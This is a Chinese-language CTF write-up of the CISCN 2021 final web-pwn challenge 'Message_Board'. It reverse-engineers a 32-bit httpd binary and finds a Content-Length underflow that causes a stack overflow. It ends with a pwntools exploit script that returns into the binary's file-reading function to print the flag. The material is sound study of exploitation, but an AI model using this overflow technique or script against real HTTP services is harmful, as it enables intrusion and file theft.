WEBPWN-再探-ciscn2021final Message_Board

前言

说是这个出的很好,又来分析一下webpwn,加深印象

前置知识

前面一直没去详细了解http的协议栈,发现有师傅总结了,才想到去思考为什么webpwn要那么处理数据,这里我也简单总结到我的笔记里面去

![image-20240919102159972](picture/WEBPWN-再探-ciscn2021final Message_Board/image-20240919102159972.png)

格式大致如上,主要是第一行会存在请求方法URL协议版本,以空格分开,每一行末尾都会存在回车和换行符\r\n

如果只有回车和换行的话,就代表HTTP头结束了,后面跟着的就是请求数据或者没有

检查保护

1
2
3
4
5
6
[*] '/home/iot/Desktop/httpd/httpd'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

只开启了堆栈不可执行

分析

因为只提供了一个可执行文件,于是就不需要去patch和搭建环境了,省去了这个过程

main

前面的过程我就不去分析了,主要就是一行一行的读取数据,然后进行处理,逆向出来的结果就是,提取数据然后赋值,最后传递给关键函数sub_804906C,对数据进行处理![image-20240919102909376](picture/WEBPWN-再探-ciscn2021final Message_Board/image-20240919102909376.png)

这里的s,存储了请求方式和URL还有http协议版本,后面跟着几个堆块,用于存储参数

sub_804906C

发现关键代码如下

![image-20240919103156027](picture/WEBPWN-再探-ciscn2021final Message_Board/image-20240919103156027.png)

首先请求方式必须为POST,存在参数Content-Length

假如是/submit路径的话在Cookie参数里面找到UsernameMessages参数,然后对数据进行分析

![image-20240919103532652](picture/WEBPWN-再探-ciscn2021final Message_Board/image-20240919103532652.png)

简单分析一下这个代码,可以知道这段代码的作用是判断message数据长度是否足够Content-Length,不够就再读取数据到message里面,但是这里存在一个问题,因为在读取前会对message的数据进行判断,如果message的倒数第二个数据不为”|”,那就把最后一位赋值为”|”,然后n–,于是这里存在一个问题,可以想办法让n为0,然后n–后就会为0xffffff,读取数据的时候可以造成栈溢出。

分析发现在最后存在一个GET请求的数据,可以进行读取文件操作,存在于sub_8048BCA函数

![image-20240919104337195](picture/WEBPWN-再探-ciscn2021final Message_Board/image-20240919104337195.png)

sub_8048BCA

发现该函数传递的就是文件名,然后和流,最后作用就是将文件内容输出到对应的流去

![image-20240919104521946](picture/WEBPWN-再探-ciscn2021final Message_Board/image-20240919104521946.png)

利用

存在栈溢出,发现不存在system函数,于是要利用只能泄露libc基地址,构造一个泄露函数地址的栈,然后返回到start函数再执行一遍,返回到ogg或者构造system(“/bin/sh”)也可以

但是这里发现存在一个fopen函数,看看有没有可能直接打印flag

分析发现sub_8048BCA就可以满足我们的要求,我们只需要传递一个flag的参数和1为参数即可

flag我们需要自己输入进入,发现在读取http数据的时候,是读取到bss段的,于是可以用于存放flag字符串

![image-20240919104843147](picture/WEBPWN-再探-ciscn2021final Message_Board/image-20240919104843147.png)

![image-20240919104821401](picture/WEBPWN-再探-ciscn2021final Message_Board/image-20240919104821401.png)

我们可以通过ebp来传递该参数,即可打印flag

1
2
3
4
5
6
mov     eax, ds:stdout
sub esp, 8
push eax ; s
lea eax, [ebp+s] ; s=-0x42c
push eax ; filename
call sub_8048BCA

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
io=process('./httpd')
context.log_level='debug'

payload='POST /submit HTTP/1.1\r\nContent-Length: 0\r\nCookie: Username=f1ag;Messages=flag\r\n\r\n'
gdb.attach(io,'''
b *0x08049518
b *0x08049C00
''')
pause()
io.sendline(payload)

payload=b'a'*(0x82e-14+8)+p32(0x804C180+0x42c+len('Cookie: Username=f1ag;Messages='))+p32(0x80492BD)#+p32(0x8049339)
payload=payload.ljust(0x5000,b'\x00')

io.sendline(payload)
io.interactive()